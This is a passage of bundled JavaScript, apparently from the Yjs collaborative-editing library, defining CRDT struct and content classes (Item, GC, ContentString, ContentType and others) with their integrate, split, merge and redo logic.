8258 */
8259 toJSON() {
8260 return this.toString();
8261 }
8262 /**
8263 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
8264 */
8265 _write(encoder) {
8266 encoder.writeTypeRef(YXmlTextRefID);
8267 }
8268 };
8269 var readYXmlText = (decoder) => new YXmlText();
8270 var AbstractStruct = class {
8271 /**
8272 * @param {ID} id
8273 * @param {number} length
8274 */
8275 constructor(id2, length3) {
8276 this.id = id2;
8277 this.length = length3;
8278 }
8279 /**
8280 * @type {boolean}
8281 */
8282 get deleted() {
8283 throw methodUnimplemented();
8284 }
8285 /**
8286 * Merge this struct with the item to the right.
8287 * This method is already assuming that `this.id.clock + this.length === this.id.clock`.
8288 * Also this method does *not* remove right from StructStore!
8289 * @param {AbstractStruct} right
8290 * @return {boolean} whether this merged with right
8291 */
8292 mergeWith(right) {
8293 return false;
8294 }
8295 /**
8296 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder The encoder to write data to.
8297 * @param {number} offset
8298 * @param {number} encodingRef
8299 */
8300 write(encoder, offset, encodingRef) {
8301 throw methodUnimplemented();
8302 }
8303 /**
8304 * @param {Transaction} transaction
8305 * @param {number} offset
8306 */
8307 integrate(transaction, offset) {
8308 throw methodUnimplemented();
8309 }
8310 };
8311 var structGCRefNumber = 0;
8312 var GC = class extends AbstractStruct {
8313 get deleted() {
8314 return true;
8315 }
8316 delete() {
8317 }
8318 /**
8319 * @param {GC} right
8320 * @return {boolean}
8321 */
8322 mergeWith(right) {
8323 if (this.constructor !== right.constructor) {
8324 return false;
8325 }
8326 this.length += right.length;
8327 return true;
8328 }
8329 /**
8330 * @param {Transaction} transaction
8331 * @param {number} offset
8332 */
8333 integrate(transaction, offset) {
8334 if (offset > 0) {
8335 this.id.clock += offset;
8336 this.length -= offset;
8337 }
8338 addStruct(transaction.doc.store, this);
8339 }
8340 /**
8341 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
8342 * @param {number} offset
8343 */
8344 write(encoder, offset) {
8345 encoder.writeInfo(structGCRefNumber);
8346 encoder.writeLen(this.length - offset);
8347 }
8348 /**
8349 * @param {Transaction} transaction
8350 * @param {StructStore} store
8351 * @return {null | number}
8352 */
8353 getMissing(transaction, store2) {
8354 return null;
8355 }
8356 };
8357 var ContentBinary = class _ContentBinary {
8358 /**
8359 * @param {Uint8Array} content
8360 */
8361 constructor(content) {
8362 this.content = content;
8363 }
8364 /**
8365 * @return {number}
8366 */
8367 getLength() {
8368 return 1;
8369 }
8370 /**
8371 * @return {Array<any>}
8372 */
8373 getContent() {
8374 return [this.content];
8375 }
8376 /**
8377 * @return {boolean}
8378 */
8379 isCountable() {
8380 return true;
8381 }
8382 /**
8383 * @return {ContentBinary}
8384 */
8385 copy() {
8386 return new _ContentBinary(this.content);
8387 }
8388 /**
8389 * @param {number} offset
8390 * @return {ContentBinary}
8391 */
8392 splice(offset) {
8393 throw methodUnimplemented();
8394 }
8395 /**
8396 * @param {ContentBinary} right
8397 * @return {boolean}
8398 */
8399 mergeWith(right) {
8400 return false;
8401 }
8402 /**
8403 * @param {Transaction} transaction
8404 * @param {Item} item
8405 */
8406 integrate(transaction, item) {
8407 }
8408 /**
8409 * @param {Transaction} transaction
8410 */
8411 delete(transaction) {
8412 }
8413 /**
8414 * @param {StructStore} store
8415 */
8416 gc(store2) {
8417 }
8418 /**
8419 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
8420 * @param {number} offset
8421 */
8422 write(encoder, offset) {
8423 encoder.writeBuf(this.content);
8424 }
8425 /**
8426 * @return {number}
8427 */
8428 getRef() {
8429 return 3;
8430 }
8431 };
8432 var readContentBinary = (decoder) => new ContentBinary(decoder.readBuf());
8433 var ContentDeleted = class _ContentDeleted {
8434 /**
8435 * @param {number} len
8436 */
8437 constructor(len) {
8438 this.len = len;
8439 }
8440 /**
8441 * @return {number}
8442 */
8443 getLength() {
8444 return this.len;
8445 }
8446 /**
8447 * @return {Array<any>}
8448 */
8449 getContent() {
8450 return [];
8451 }
8452 /**
8453 * @return {boolean}
8454 */
8455 isCountable() {
8456 return false;
8457 }
8458 /**
8459 * @return {ContentDeleted}
8460 */
8461 copy() {
8462 return new _ContentDeleted(this.len);
8463 }
8464 /**
8465 * @param {number} offset
8466 * @return {ContentDeleted}
8467 */
8468 splice(offset) {
8469 const right = new _ContentDeleted(this.len - offset);
8470 this.len = offset;
8471 return right;
8472 }
8473 /**
8474 * @param {ContentDeleted} right
8475 * @return {boolean}
8476 */
8477 mergeWith(right) {
8478 this.len += right.len;
8479 return true;
8480 }
8481 /**
8482 * @param {Transaction} transaction
8483 * @param {Item} item
8484 */
8485 integrate(transaction, item) {
8486 addToDeleteSet(transaction.deleteSet, item.id.client, item.id.clock, this.len);
8487 item.markDeleted();
8488 }
8489 /**
8490 * @param {Transaction} transaction
8491 */
8492 delete(transaction) {
8493 }
8494 /**
8495 * @param {StructStore} store
8496 */
8497 gc(store2) {
8498 }
8499 /**
8500 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
8501 * @param {number} offset
8502 */
8503 write(encoder, offset) {
8504 encoder.writeLen(this.len - offset);
8505 }
8506 /**
8507 * @return {number}
8508 */
8509 getRef() {
8510 return 1;
8511 }
8512 };
8513 var readContentDeleted = (decoder) => new ContentDeleted(decoder.readLen());
8514 var createDocFromOpts = (guid, opts) => new Doc({ guid, ...opts, shouldLoad: opts.shouldLoad || opts.autoLoad || false });
8515 var ContentDoc = class _ContentDoc {
8516 /**
8517 * @param {Doc} doc
8518 */
8519 constructor(doc2) {
8520 if (doc2._item) {
8521 console.error("This document was already integrated as a sub-document. You should create a second instance instead with the same guid.");
8522 }
8523 this.doc = doc2;
8524 const opts = {};
8525 this.opts = opts;
8526 if (!doc2.gc) {
8527 opts.gc = false;
8528 }
8529 if (doc2.autoLoad) {
8530 opts.autoLoad = true;
8531 }
8532 if (doc2.meta !== null) {
8533 opts.meta = doc2.meta;
8534 }
8535 }
8536 /**
8537 * @return {number}
8538 */
8539 getLength() {
8540 return 1;
8541 }
8542 /**
8543 * @return {Array<any>}
8544 */
8545 getContent() {
8546 return [this.doc];
8547 }
8548 /**
8549 * @return {boolean}
8550 */
8551 isCountable() {
8552 return true;
8553 }
8554 /**
8555 * @return {ContentDoc}
8556 */
8557 copy() {
8558 return new _ContentDoc(createDocFromOpts(this.doc.guid, this.opts));
8559 }
8560 /**
8561 * @param {number} offset
8562 * @return {ContentDoc}
8563 */
8564 splice(offset) {
8565 throw methodUnimplemented();
8566 }
8567 /**
8568 * @param {ContentDoc} right
8569 * @return {boolean}
8570 */
8571 mergeWith(right) {
8572 return false;
8573 }
8574 /**
8575 * @param {Transaction} transaction
8576 * @param {Item} item
8577 */
8578 integrate(transaction, item) {
8579 this.doc._item = item;
8580 transaction.subdocsAdded.add(this.doc);
8581 if (this.doc.shouldLoad) {
8582 transaction.subdocsLoaded.add(this.doc);
8583 }
8584 }
8585 /**
8586 * @param {Transaction} transaction
8587 */
8588 delete(transaction) {
8589 if (transaction.subdocsAdded.has(this.doc)) {
8590 transaction.subdocsAdded.delete(this.doc);
8591 } else {
8592 transaction.subdocsRemoved.add(this.doc);
8593 }
8594 }
8595 /**
8596 * @param {StructStore} store
8597 */
8598 gc(store2) {
8599 }
8600 /**
8601 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
8602 * @param {number} offset
8603 */
8604 write(encoder, offset) {
8605 encoder.writeString(this.doc.guid);
8606 encoder.writeAny(this.opts);
8607 }
8608 /**
8609 * @return {number}
8610 */
8611 getRef() {
8612 return 9;
8613 }
8614 };
8615 var readContentDoc = (decoder) => new ContentDoc(createDocFromOpts(decoder.readString(), decoder.readAny()));
8616 var ContentEmbed = class _ContentEmbed {
8617 /**
8618 * @param {Object} embed
8619 */
8620 constructor(embed) {
8621 this.embed = embed;
8622 }
8623 /**
8624 * @return {number}
8625 */
8626 getLength() {
8627 return 1;
8628 }
8629 /**
8630 * @return {Array<any>}
8631 */
8632 getContent() {
8633 return [this.embed];
8634 }
8635 /**
8636 * @return {boolean}
8637 */
8638 isCountable() {
8639 return true;
8640 }
8641 /**
8642 * @return {ContentEmbed}
8643 */
8644 copy() {
8645 return new _ContentEmbed(this.embed);
8646 }
8647 /**
8648 * @param {number} offset
8649 * @return {ContentEmbed}
8650 */
8651 splice(offset) {
8652 throw methodUnimplemented();
8653 }
8654 /**
8655 * @param {ContentEmbed} right
8656 * @return {boolean}
8657 */
8658 mergeWith(right) {
8659 return false;
8660 }
8661 /**
8662 * @param {Transaction} transaction
8663 * @param {Item} item
8664 */
8665 integrate(transaction, item) {
8666 }
8667 /**
8668 * @param {Transaction} transaction
8669 */
8670 delete(transaction) {
8671 }
8672 /**
8673 * @param {StructStore} store
8674 */
8675 gc(store2) {
8676 }
8677 /**
8678 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
8679 * @param {number} offset
8680 */
8681 write(encoder, offset) {
8682 encoder.writeJSON(this.embed);
8683 }
8684 /**
8685 * @return {number}
8686 */
8687 getRef() {
8688 return 5;
8689 }
8690 };
8691 var readContentEmbed = (decoder) => new ContentEmbed(decoder.readJSON());
8692 var ContentFormat = class _ContentFormat {
8693 /**
8694 * @param {string} key
8695 * @param {Object} value
8696 */
8697 constructor(key, value) {
8698 this.key = key;
8699 this.value = value;
8700 }
8701 /**
8702 * @return {number}
8703 */
8704 getLength() {
8705 return 1;
8706 }
8707 /**
8708 * @return {Array<any>}
8709 */
8710 getContent() {
8711 return [];
8712 }
8713 /**
8714 * @return {boolean}
8715 */
8716 isCountable() {
8717 return false;
8718 }
8719 /**
8720 * @return {ContentFormat}
8721 */
8722 copy() {
8723 return new _ContentFormat(this.key, this.value);
8724 }
8725 /**
8726 * @param {number} _offset
8727 * @return {ContentFormat}
8728 */
8729 splice(_offset) {
8730 throw methodUnimplemented();
8731 }
8732 /**
8733 * @param {ContentFormat} _right
8734 * @return {boolean}
8735 */
8736 mergeWith(_right) {
8737 return false;
8738 }
8739 /**
8740 * @param {Transaction} _transaction
8741 * @param {Item} item
8742 */
8743 integrate(_transaction, item) {
8744 const p = (
8745 /** @type {YText} */
8746 item.parent
8747 );
8748 p._searchMarker = null;
8749 p._hasFormatting = true;
8750 }
8751 /**
8752 * @param {Transaction} transaction
8753 */
8754 delete(transaction) {
8755 }
8756 /**
8757 * @param {StructStore} store
8758 */
8759 gc(store2) {
8760 }
8761 /**
8762 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
8763 * @param {number} offset
8764 */
8765 write(encoder, offset) {
8766 encoder.writeKey(this.key);
8767 encoder.writeJSON(this.value);
8768 }
8769 /**
8770 * @return {number}
8771 */
8772 getRef() {
8773 return 6;
8774 }
8775 };
8776 var readContentFormat = (decoder) => new ContentFormat(decoder.readKey(), decoder.readJSON());
8777 var ContentJSON = class _ContentJSON {
8778 /**
8779 * @param {Array<any>} arr
8780 */
8781 constructor(arr) {
8782 this.arr = arr;
8783 }
8784 /**
8785 * @return {number}
8786 */
8787 getLength() {
8788 return this.arr.length;
8789 }
8790 /**
8791 * @return {Array<any>}
8792 */
8793 getContent() {
8794 return this.arr;
8795 }
8796 /**
8797 * @return {boolean}
8798 */
8799 isCountable() {
8800 return true;
8801 }
8802 /**
8803 * @return {ContentJSON}
8804 */
8805 copy() {
8806 return new _ContentJSON(this.arr);
8807 }
8808 /**
8809 * @param {number} offset
8810 * @return {ContentJSON}
8811 */
8812 splice(offset) {
8813 const right = new _ContentJSON(this.arr.slice(offset));
8814 this.arr = this.arr.slice(0, offset);
8815 return right;
8816 }
8817 /**
8818 * @param {ContentJSON} right
8819 * @return {boolean}
8820 */
8821 mergeWith(right) {
8822 this.arr = this.arr.concat(right.arr);
8823 return true;
8824 }
8825 /**
8826 * @param {Transaction} transaction
8827 * @param {Item} item
8828 */
8829 integrate(transaction, item) {
8830 }
8831 /**
8832 * @param {Transaction} transaction
8833 */
8834 delete(transaction) {
8835 }
8836 /**
8837 * @param {StructStore} store
8838 */
8839 gc(store2) {
8840 }
8841 /**
8842 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
8843 * @param {number} offset
8844 */
8845 write(encoder, offset) {
8846 const len = this.arr.length;
8847 encoder.writeLen(len - offset);
8848 for (let i = offset; i < len; i++) {
8849 const c = this.arr[i];
8850 encoder.writeString(c === void 0 ? "undefined" : JSON.stringify(c));
8851 }
8852 }
8853 /**
8854 * @return {number}
8855 */
8856 getRef() {
8857 return 2;
8858 }
8859 };
8860 var readContentJSON = (decoder) => {
8861 const len = decoder.readLen();
8862 const cs = [];
8863 for (let i = 0; i < len; i++) {
8864 const c = decoder.readString();
8865 if (c === "undefined") {
8866 cs.push(void 0);
8867 } else {
8868 cs.push(JSON.parse(c));
8869 }
8870 }
8871 return new ContentJSON(cs);
8872 };
8873 var isDevMode = getVariable("node_env") === "development";
8874 var ContentAny = class _ContentAny {
8875 /**
8876 * @param {Array<any>} arr
8877 */
8878 constructor(arr) {
8879 this.arr = arr;
8880 isDevMode && deepFreeze(arr);
8881 }
8882 /**
8883 * @return {number}
8884 */
8885 getLength() {
8886 return this.arr.length;
8887 }
8888 /**
8889 * @return {Array<any>}
8890 */
8891 getContent() {
8892 return this.arr;
8893 }
8894 /**
8895 * @return {boolean}
8896 */
8897 isCountable() {
8898 return true;
8899 }
8900 /**
8901 * @return {ContentAny}
8902 */
8903 copy() {
8904 return new _ContentAny(this.arr);
8905 }
8906 /**
8907 * @param {number} offset
8908 * @return {ContentAny}
8909 */
8910 splice(offset) {
8911 const right = new _ContentAny(this.arr.slice(offset));
8912 this.arr = this.arr.slice(0, offset);
8913 return right;
8914 }
8915 /**
8916 * @param {ContentAny} right
8917 * @return {boolean}
8918 */
8919 mergeWith(right) {
8920 this.arr = this.arr.concat(right.arr);
8921 return true;
8922 }
8923 /**
8924 * @param {Transaction} transaction
8925 * @param {Item} item
8926 */
8927 integrate(transaction, item) {
8928 }
8929 /**
8930 * @param {Transaction} transaction
8931 */
8932 delete(transaction) {
8933 }
8934 /**
8935 * @param {StructStore} store
8936 */
8937 gc(store2) {
8938 }
8939 /**
8940 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
8941 * @param {number} offset
8942 */
8943 write(encoder, offset) {
8944 const len = this.arr.length;
8945 encoder.writeLen(len - offset);
8946 for (let i = offset; i < len; i++) {
8947 const c = this.arr[i];
8948 encoder.writeAny(c);
8949 }
8950 }
8951 /**
8952 * @return {number}
8953 */
8954 getRef() {
8955 return 8;
8956 }
8957 };
8958 var readContentAny = (decoder) => {
8959 const len = decoder.readLen();
8960 const cs = [];
8961 for (let i = 0; i < len; i++) {
8962 cs.push(decoder.readAny());
8963 }
8964 return new ContentAny(cs);
8965 };
8966 var ContentString = class _ContentString {
8967 /**
8968 * @param {string} str
8969 */
8970 constructor(str) {
8971 this.str = str;
8972 }
8973 /**
8974 * @return {number}
8975 */
8976 getLength() {
8977 return this.str.length;
8978 }
8979 /**
8980 * @return {Array<any>}
8981 */
8982 getContent() {
8983 return this.str.split("");
8984 }
8985 /**
8986 * @return {boolean}
8987 */
8988 isCountable() {
8989 return true;
8990 }
8991 /**
8992 * @return {ContentString}
8993 */
8994 copy() {
8995 return new _ContentString(this.str);
8996 }
8997 /**
8998 * @param {number} offset
8999 * @return {ContentString}
9000 */
9001 splice(offset) {
9002 const right = new _ContentString(this.str.slice(offset));
9003 this.str = this.str.slice(0, offset);
9004 const firstCharCode = this.str.charCodeAt(offset - 1);
9005 if (firstCharCode >= 55296 && firstCharCode <= 56319) {
9006 this.str = this.str.slice(0, offset - 1) + "\uFFFD";
9007 right.str = "\uFFFD" + right.str.slice(1);
9008 }
9009 return right;
9010 }
9011 /**
9012 * @param {ContentString} right
9013 * @return {boolean}
9014 */
9015 mergeWith(right) {
9016 this.str += right.str;
9017 return true;
9018 }
9019 /**
9020 * @param {Transaction} transaction
9021 * @param {Item} item
9022 */
9023 integrate(transaction, item) {
9024 }
9025 /**
9026 * @param {Transaction} transaction
9027 */
9028 delete(transaction) {
9029 }
9030 /**
9031 * @param {StructStore} store
9032 */
9033 gc(store2) {
9034 }
9035 /**
9036 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
9037 * @param {number} offset
9038 */
9039 write(encoder, offset) {
9040 encoder.writeString(offset === 0 ? this.str : this.str.slice(offset));
9041 }
9042 /**
9043 * @return {number}
9044 */
9045 getRef() {
9046 return 4;
9047 }
9048 };
9049 var readContentString = (decoder) => new ContentString(decoder.readString());
9050 var typeRefs = [
9051 readYArray,
9052 readYMap,
9053 readYText,
9054 readYXmlElement,
9055 readYXmlFragment,
9056 readYXmlHook,
9057 readYXmlText
9058 ];
9059 var YArrayRefID = 0;
9060 var YMapRefID = 1;
9061 var YTextRefID = 2;
9062 var YXmlElementRefID = 3;
9063 var YXmlFragmentRefID = 4;
9064 var YXmlHookRefID = 5;
9065 var YXmlTextRefID = 6;
9066 var ContentType = class _ContentType {
9067 /**
9068 * @param {AbstractType<any>} type
9069 */
9070 constructor(type) {
9071 this.type = type;
9072 }
9073 /**
9074 * @return {number}
9075 */
9076 getLength() {
9077 return 1;
9078 }
9079 /**
9080 * @return {Array<any>}
9081 */
9082 getContent() {
9083 return [this.type];
9084 }
9085 /**
9086 * @return {boolean}
9087 */
9088 isCountable() {
9089 return true;
9090 }
9091 /**
9092 * @return {ContentType}
9093 */
9094 copy() {
9095 return new _ContentType(this.type._copy());
9096 }
9097 /**
9098 * @param {number} offset
9099 * @return {ContentType}
9100 */
9101 splice(offset) {
9102 throw methodUnimplemented();
9103 }
9104 /**
9105 * @param {ContentType} right
9106 * @return {boolean}
9107 */
9108 mergeWith(right) {
9109 return false;
9110 }
9111 /**
9112 * @param {Transaction} transaction
9113 * @param {Item} item
9114 */
9115 integrate(transaction, item) {
9116 this.type._integrate(transaction.doc, item);
9117 }
9118 /**
9119 * @param {Transaction} transaction
9120 */
9121 delete(transaction) {
9122 let item = this.type._start;
9123 while (item !== null) {
9124 if (!item.deleted) {
9125 item.delete(transaction);
9126 } else if (item.id.clock < (transaction.beforeState.get(item.id.client) || 0)) {
9127 transaction._mergeStructs.push(item);
9128 }
9129 item = item.right;
9130 }
9131 this.type._map.forEach((item2) => {
9132 if (!item2.deleted) {
9133 item2.delete(transaction);
9134 } else if (item2.id.clock < (transaction.beforeState.get(item2.id.client) || 0)) {
9135 transaction._mergeStructs.push(item2);
9136 }
9137 });
9138 transaction.changed.delete(this.type);
9139 }
9140 /**
9141 * @param {StructStore} store
9142 */
9143 gc(store2) {
9144 let item = this.type._start;
9145 while (item !== null) {
9146 item.gc(store2, true);
9147 item = item.right;
9148 }
9149 this.type._start = null;
9150 this.type._map.forEach(
9151 /** @param {Item | null} item */
9152 (item2) => {
9153 while (item2 !== null) {
9154 item2.gc(store2, true);
9155 item2 = item2.left;
9156 }
9157 }
9158 );
9159 this.type._map = /* @__PURE__ */ new Map();
9160 }
9161 /**
9162 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
9163 * @param {number} offset
9164 */
9165 write(encoder, offset) {
9166 this.type._write(encoder);
9167 }
9168 /**
9169 * @return {number}
9170 */
9171 getRef() {
9172 return 7;
9173 }
9174 };
9175 var readContentType = (decoder) => new ContentType(typeRefs[decoder.readTypeRef()](decoder));
9176 var followRedone = (store2, id2) => {
9177 let nextID = id2;
9178 let diff = 0;
9179 let item;
9180 do {
9181 if (diff > 0) {
9182 nextID = createID(nextID.client, nextID.clock + diff);
9183 }
9184 item = getItem(store2, nextID);
9185 diff = nextID.clock - item.id.clock;
9186 nextID = item.redone;
9187 } while (nextID !== null && item instanceof Item);
9188 return {
9189 item,
9190 diff
9191 };
9192 };
9193 var keepItem = (item, keep) => {
9194 while (item !== null && item.keep !== keep) {
9195 item.keep = keep;
9196 item = /** @type {AbstractType<any>} */
9197 item.parent._item;
9198 }
9199 };
9200 var splitItem = (transaction, leftItem, diff) => {
9201 const { client, clock } = leftItem.id;
9202 const rightItem = new Item(
9203 createID(client, clock + diff),
9204 leftItem,
9205 createID(client, clock + diff - 1),
9206 leftItem.right,
9207 leftItem.rightOrigin,
9208 leftItem.parent,
9209 leftItem.parentSub,
9210 leftItem.content.splice(diff)
9211 );
9212 if (leftItem.deleted) {
9213 rightItem.markDeleted();
9214 }
9215 if (leftItem.keep) {
9216 rightItem.keep = true;
9217 }
9218 if (leftItem.redone !== null) {
9219 rightItem.redone = createID(leftItem.redone.client, leftItem.redone.clock + diff);
9220 }
9221 leftItem.right = rightItem;
9222 if (rightItem.right !== null) {
9223 rightItem.right.left = rightItem;
9224 }
9225 transaction._mergeStructs.push(rightItem);
9226 if (rightItem.parentSub !== null && rightItem.right === null) {
9227 rightItem.parent._map.set(rightItem.parentSub, rightItem);
9228 }
9229 leftItem.length = diff;
9230 return rightItem;
9231 };
9232 var isDeletedByUndoStack = (stack, id2) => some(
9233 stack,
9234 /** @param {StackItem} s */
9235 (s) => isDeleted(s.deletions, id2)
9236 );
9237 var redoItem = (transaction, item, redoitems, itemsToDelete, ignoreRemoteMapChanges, um) => {
9238 const doc2 = transaction.doc;
9239 const store2 = doc2.store;
9240 const ownClientID = doc2.clientID;
9241 const redone = item.redone;
9242 if (redone !== null) {
9243 return getItemCleanStart(transaction, redone);
9244 }
9245 let parentItem = (
9246 /** @type {AbstractType<any>} */
9247 item.parent._item
9248 );
9249 let left = null;
9250 let right;
9251 if (parentItem !== null && parentItem.deleted === true) {
9252 if (parentItem.redone === null && (!redoitems.has(parentItem) || redoItem(transaction, parentItem, redoitems, itemsToDelete, ignoreRemoteMapChanges, um) === null)) {
9253 return null;
9254 }
9255 while (parentItem.redone !== null) {
9256 parentItem = getItemCleanStart(transaction, parentItem.redone);
9257 }
9258 }
9259 const parentType = parentItem === null ? (
9260 /** @type {AbstractType<any>} */
9261 item.parent
9262 ) : (
9263 /** @type {ContentType} */
9264 parentItem.content.type
9265 );
9266 if (item.parentSub === null) {
9267 left = item.left;
9268 right = item;
9269 while (left !== null) {
9270 let leftTrace = left;
9271 while (leftTrace !== null && /** @type {AbstractType<any>} */
9272 leftTrace.parent._item !== parentItem) {
9273 leftTrace = leftTrace.redone === null ? null : getItemCleanStart(transaction, leftTrace.redone);
9274 }
9275 if (leftTrace !== null && /** @type {AbstractType<any>} */
9276 leftTrace.parent._item === parentItem) {
9277 left = leftTrace;
9278 break;
9279 }
9280 left = left.left;
9281 }
9282 while (right !== null) {
9283 let rightTrace = right;
9284 while (rightTrace !== null && /** @type {AbstractType<any>} */
9285 rightTrace.parent._item !== parentItem) {
9286 rightTrace = rightTrace.redone === null ? null : getItemCleanStart(transaction, rightTrace.redone);
9287 }
9288 if (rightTrace !== null && /** @type {AbstractType<any>} */
9289 rightTrace.parent._item === parentItem) {
9290 right = rightTrace;
9291 break;
9292 }
9293 right = right.right;
9294 }
9295 } else {
9296 right = null;
9297 if (item.right && !ignoreRemoteMapChanges) {
9298 left = item;
9299 while (left !== null && left.right !== null && (left.right.redone || isDeleted(itemsToDelete, left.right.id) || isDeletedByUndoStack(um.undoStack, left.right.id) || isDeletedByUndoStack(um.redoStack, left.right.id))) {
9300 left = left.right;
9301 while (left.redone) left = getItemCleanStart(transaction, left.redone);
9302 }
9303 if (left && left.right !== null) {
9304 return null;
9305 }
9306 } else {
9307 left = parentType._map.get(item.parentSub) || null;
9308 }
9309 }
9310 const nextClock = getState(store2, ownClientID);
9311 const nextId = createID(ownClientID, nextClock);
9312 const redoneItem = new Item(
9313 nextId,
9314 left,
9315 left && left.lastId,
9316 right,
9317 right && right.id,
9318 parentType,
9319 item.parentSub,
9320 item.content.copy()
9321 );
9322 item.redone = nextId;
9323 keepItem(redoneItem, true);
9324 redoneItem.integrate(transaction, 0);
9325 return redoneItem;
9326 };
9327 var Item = class _Item extends AbstractStruct {
9328 /**
9329 * @param {ID} id
9330 * @param {Item | null} left
9331 * @param {ID | null} origin
9332 * @param {Item | null} right
9333 * @param {ID | null} rightOrigin
9334 * @param {AbstractType<any>|ID|null} parent Is a type if integrated, is null if it is possible to copy parent from left or right, is ID before integration to search for it.
9335 * @param {string | null} parentSub
9336 * @param {AbstractContent} content
9337 */
9338 constructor(id2, left, origin2, right, rightOrigin, parent, parentSub, content) {
9339 super(id2, content.getLength());
9340 this.origin = origin2;
9341 this.left = left;
9342 this.right = right;
9343 this.rightOrigin = rightOrigin;
9344 this.parent = parent;
9345 this.parentSub = parentSub;
9346 this.redone = null;
9347 this.content = content;
9348 this.info = this.content.isCountable() ? BIT2 : 0;
9349 }
9350 /**
9351 * This is used to mark the item as an indexed fast-search marker
9352 *
9353 * @type {boolean}
9354 */
9355 set marker(isMarked) {
9356 if ((this.info & BIT4) > 0 !== isMarked) {
9357 this.info ^= BIT4;
9358 }
9359 }
9360 get marker() {
9361 return (this.info & BIT4) > 0;
9362 }
9363 /**
9364 * If true, do not garbage collect this Item.
9365 */
9366 get keep() {
9367 return (this.info & BIT1) > 0;
9368 }
9369 set keep(doKeep) {
9370 if (this.keep !== doKeep) {
9371 this.info ^= BIT1;
9372 }
9373 }
9374 get countable() {
9375 return (this.info & BIT2) > 0;
9376 }
9377 /**
9378 * Whether this item was deleted or not.
9379 * @type {Boolean}
9380 */
9381 get deleted() {
9382 return (this.info & BIT3) > 0;
9383 }
9384 set deleted(doDelete) {
9385 if (this.deleted !== doDelete) {
9386 this.info ^= BIT3;
9387 }
9388 }
9389 markDeleted() {
9390 this.info |= BIT3;
9391 }
9392 /**
9393 * Return the creator clientID of the missing op or define missing items and return null.
9394 *
9395 * @param {Transaction} transaction
9396 * @param {StructStore} store
9397 * @return {null | number}
9398 */
9399 getMissing(transaction, store2) {
9400 if (this.origin && this.origin.client !== this.id.client && this.origin.clock >= getState(store2, this.origin.client)) {
9401 return this.origin.client;
9402 }
9403 if (this.rightOrigin && this.rightOrigin.client !== this.id.client && this.rightOrigin.clock >= getState(store2, this.rightOrigin.client)) {
9404 return this.rightOrigin.client;
9405 }
9406 if (this.parent && this.parent.constructor === ID && this.id.client !== this.parent.client && this.parent.clock >= getState(store2, this.parent.client)) {
9407 return this.parent.client;
9408 }
9409 if (this.origin) {
9410 this.left = getItemCleanEnd(transaction, store2, this.origin);
9411 this.origin = this.left.lastId;
9412 }
9413 if (this.rightOrigin) {
9414 this.right = getItemCleanStart(transaction, this.rightOrigin);
9415 this.rightOrigin = this.right.id;
9416 }
9417 if (this.left && this.left.constructor === GC || this.right && this.right.constructor === GC) {
9418 this.parent = null;
9419 } else if (!this.parent) {
9420 if (this.left && this.left.constructor === _Item) {
9421 this.parent = this.left.parent;
9422 this.parentSub = this.left.parentSub;
9423 } else if (this.right && this.right.constructor === _Item) {
9424 this.parent = this.right.parent;
9425 this.parentSub = this.right.parentSub;
9426 }
9427 } else if (this.parent.constructor === ID) {
9428 const parentItem = getItem(store2, this.parent);
9429 if (parentItem.constructor === GC) {
9430 this.parent = null;
9431 } else {
9432 this.parent = /** @type {ContentType} */
9433 parentItem.content.type;
9434 }
9435 }
9436 return null;
9437 }
9438 /**
9439 * @param {Transaction} transaction
9440 * @param {number} offset
9441 */
9442 integrate(transaction, offset) {
9443 if (offset > 0) {
9444 this.id.clock += offset;
9445 this.left = getItemCleanEnd(transaction, transaction.doc.store, createID(this.id.client, this.id.clock - 1));
9446 this.origin = this.left.lastId;
9447 this.content = this.content.splice(offset);
9448 this.length -= offset;
9449 }
9450 if (this.parent) {
9451 if (!this.left && (!this.right || this.right.left !== null) || this.left && this.left.right !== this.right) {
9452 let left = this.left;
9453 let o;
9454 if (left !== null) {
9455 o = left.right;
9456 } else if (this.parentSub !== null) {
9457 o = /** @type {AbstractType<any>} */
9458 this.parent._map.get(this.parentSub) || null;
9459 while (o !== null && o.left !== null) {
9460 o = o.left;
9461 }
9462 } else {
9463 o = /** @type {AbstractType<any>} */
9464 this.parent._start;
9465 }
9466 const conflictingItems = /* @__PURE__ */ new Set();
9467 const itemsBeforeOrigin = /* @__PURE__ */ new Set();
9468 while (o !== null && o !== this.right) {
9469 itemsBeforeOrigin.add(o);
9470 conflictingItems.add(o);
9471 if (compareIDs(this.origin, o.origin)) {
9472 if (o.id.client < this.id.client) {
9473 left = o;
9474 conflictingItems.clear();
9475 } else if (compareIDs(this.rightOrigin, o.rightOrigin)) {
9476 break;
9477 }
9478 } else if (o.origin !== null && itemsBeforeOrigin.has(getItem(transaction.doc.store, o.origin))) {
9479 if (!conflictingItems.has(getItem(transaction.doc.store, o.origin))) {
9480 left = o;
9481 conflictingItems.clear();
9482 }
9483 } else {
9484 break;
9485 }
9486 o = o.right;
9487 }
9488 this.left = left;
9489 }
9490 if (this.left !== null) {
9491 const right = this.left.right;
9492 this.right = right;
9493 this.left.right = this;
9494 } else {
9495 let r;
9496 if (this.parentSub !== null) {
9497 r = /** @type {AbstractType<any>} */
9498 this.parent._map.get(this.parentSub) || null;
9499 while (r !== null && r.left !== null) {
9500 r = r.left;
9501 }
9502 } else {
9503 r = /** @type {AbstractType<any>} */
9504 this.parent._start;
9505 this.parent._start = this;
9506 }
9507 this.right = r;
9508 }
9509 if (this.right !== null) {
9510 this.right.left = this;
9511 } else if (this.parentSub !== null) {
9512 this.parent._map.set(this.parentSub, this);
9513 if (this.left !== null) {
9514 this.left.delete(transaction);
9515 }
9516 }
9517 if (this.parentSub === null && this.countable && !this.deleted) {
9518 this.parent._length += this.length;
9519 }
9520 addStruct(transaction.doc.store, this);
9521 this.content.integrate(transaction, this);
9522 addChangedTypeToTransaction(
9523 transaction,
9524 /** @type {AbstractType<any>} */
9525 this.parent,
9526 this.parentSub
9527 );
9528 if (
9529 /** @type {AbstractType<any>} */
9530 this.parent._item !== null && /** @type {AbstractType<any>} */
